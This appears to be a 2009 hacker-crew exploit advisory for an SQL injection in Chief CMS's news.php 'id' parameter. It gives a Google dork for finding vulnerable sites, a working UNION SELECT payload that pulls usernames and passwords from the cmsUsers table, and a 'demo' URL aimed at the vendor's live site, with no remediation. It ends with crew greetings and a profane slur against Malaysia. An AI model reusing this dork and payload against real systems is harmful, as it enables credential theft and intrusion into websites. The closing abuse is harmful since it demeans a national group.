Chief CMS SQL Injection

`##############################################################  
## Chief Content Management System - news.php?id= ##  
## Author : kaMtiEz ([email protected]) ##  
## Homepage : http://www.indonesiancoder.com ##  
## Date : September 14, 2009 ##  
##############################################################  
/~~\__/~~\_/~~~~\_/~~\_______/~~\__________________/~~~~~\__  
/~~\_/~~\___/~~\__/~~\_______/~~\_________________/~~\_/~~\_  
/~~~~~\_____/~~\__/~~\_______/~~\_______/~~~~~~~\__/~~~~~\__  
/~~\_/~~\___/~~\__/~~\_______/~~\____________________/~~\___  
/~~\__/~~\_/~~~~\_/~~~~~~~~\_/~~~~~~~~\_____________/~~\____  
____________________________________________________________   
-=- KILL-9 CREW -=- INDONESIANCODER -=-  
  
##############################################################  
  
[ Software Information ]  
  
[+] Vendor : http://www.chiefcms.com/  
[+] Software : Chief Content Management System  
[+] Vulnerability : SQL injection  
[+] Dork : "Powered by The Chief"  
  
##############################################################  
  
[ Vulnerable File ]  
  
http://127.0.0.1/news.php?id=[KILL-9 Crew SQLi]  
  
[ Exploit ]  
  
-666+union+select+1,2,3,4,5,6,concat_ws(0x3a,username,password)kaMtiEz,8,9,10,11,12,13,14,15,16,17+from+cmsUsers--  
  
[ Demo ]  
  
http://www.chiefcms.com/news.php?id=-666+union+select+1,2,3,4,5,6,concat_ws(0x3a,username,password)kaMtiEz,8,9,10,11,12,13,14,15,16,17+from+cmsUsers--  
  
##############################################################  
  
[ Thx TO ]  
  
[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW  
[+] Don Tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_aneh  
[+] Contrex,onthel,yasea,bugs,olivia,Jovan1,Aar,Ardy  
[+] Coracore,black666girl,chitoz,NepT,ichal,tengik and YOU!!  
  
[ NOTE ]   
  
This is My birthday i am 18 !!  
  
  
[ QUOTE ]  
  
"Ini dadaku, mana dadamu?  
  
Kalau Malaysia mau konfrontasi ekonomi, Mari kita hadapi dengan konfrontasi ekonomi  
Kalau Malaysia mau konfrontasi politik, Mari kita hadapi dengan konfrontasi politik  
Kalau Malaysia mau konfrontasi militer, Mari kita hadapi dengan konfrontasi militer  
  
Soekarno, 1963”  
  
Soekarno : Dengan ini saya menyatakan "GANYANG MALAYSIA"  
  
FUCK MALAYSIA !!!`